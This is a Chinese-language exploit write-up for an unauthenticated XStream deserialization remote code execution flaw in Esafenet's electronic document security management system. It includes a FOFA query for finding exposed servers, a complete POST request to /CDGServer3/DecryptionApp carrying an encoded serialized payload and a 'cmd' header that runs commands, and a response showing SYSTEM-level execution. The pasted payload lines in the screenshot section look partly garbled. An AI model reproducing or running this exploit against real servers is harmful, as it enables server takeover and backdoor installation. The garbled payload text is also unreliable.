

# Y5-8亿赛通-电子文档安全管理系统-反序列化RCE

## 漏洞描述：

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web 服务器。

网站图片：



## 网络测绘：

fofa语法：

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

## 漏洞复现：

payload:

```
POST /CDGServer3/DecryptionApp?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami
```

NNLINELBIIKEOGPIFLNMHPIPNNOHFNECLEHKBCIHFHCOMNPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDDPAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPABKFFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGDPOMMEDIJNFKDCHHBF

效果图：

Request

< > 数据包扫描 热加载 构造请求

```
1 POST /CDGServer3/DecryptionApp?command=GETSYSTEMINFO HTTP/1.1
2 Host: .
3 User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
4 Accept-Encoding: gzip, deflate, br
5 Connection: close
6 Content-Type: text/xml
7 cmd: whoami
8
9 NNLINELBIIKEOGPIFLNMHPIPNNOHFNECLEHKBCIHFHCOMNPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDDPAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPABKFFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGDPOMMEDIJNFKDCHHBF
MFGBDOIOAHLONHNDABJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDMOPNCNGLPPOMWIGCEFEIBIMDHFA
GLHIDHPJCHAEFPHNHJGJKJDCINLAHOAPCDJNABODKBFBABJFIEMLPGGKNNNFCAOBHCIOEHCBOFGBBPLKPHLLNOCJAKJJDJPOE
PBEKKPHOPBHLJLNOGLABJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENNHFBQJIAOFJKBFGNKBEECKJJPCECMFKPPPKEGOIOB
HIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPNFIJEEJPPIMGPKHDOACEEJACLCOKIPFHHECFDF
JNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJANLFPKGLGINAIOADJNHAEDLBNONDJHPFELIJMNLHMEMBFGOHELCDBFHIFALD
IIMBFEHNNBOIOMLCJCKPHJPNLDPHDDCFJNMKGDMIEINHIDLEGMOACNADAHOMPPFIFFBPFCHAPPIDAIAILKODLCALBBJNCPGLPKIEO
LEOMKEMBLMLBEGKNGCOKOIPBCEFAAHGIMCAKFFLFIBDHCDHFMMKNDHLCGIMPMKMBJGDIDJMMGEORGJNDNEKFDMEAHMILDKIFB
GKGEJCMGOFKEGJEMNAPFLDGEEOBKOHADBAMHBMJDJOGIFPMDKIILIGAELENOAKNEFHDOGHOBDCIHALJENFHKFCEHMPBJLCFPDHD
GGBFIMKHLFIHONFDJAEIJLPPFMAEBHDEBODLCMCIAKAFBEBFBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKKKEGJGDGJDJ
IDEHNNLNNHEONJ3JHNLHLPMBBEJDLJLLNPKIMGHLOFMHKBDEBHNFLPGEOKMHOFNBLAALGPKNJJONNGIOJLBFEJNLKHMBCKELDP
BDMBFEHAKBHEMNDFBEDCAMMHNMGDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJDELPPLFBOHHNIBEGOOFEFGAENOKBMPD
BDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBODLJENHCEDMAOEEOFLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJN
DMBGAJJPKNLIBOAB3LNADADNALIKHJMDKGOPELEHGPDGNJHAAJIKHBFGMHCLPEPHCKKNFKPEOMHPLMOHBGDHCOEGIGPMIGLAH
KBCEDHFGDLIKIIMEPHMICIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHMDPNMLACKHOGJAEJBPFEBOCBGGAGFGNCOBEAIPA
NPLBGGCCNMDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHLMODMJIEGM'BMNMWFBECDDDFOPAJOHNBKBDG
KKMLKCBPFOOJCKFFIMLCODLOFNOIEHENLJNOFAMKFLHIADBNGANHIANHOCHILNJLCOCHFHMNFHALJHOPGKLOPHLMELJFBIABE
```

Responses 21bytes / 242ms

```
1 HTTP/1.1 200
2 Set-Cookie: JSESSIONID=A4F50F78FCDF39460BB
3 Date: Wed, 31-Jan-2024 20:46:03 GMT
4 Connection: close
5 Content-Length: 21
6
7 nt-authority\system
8
```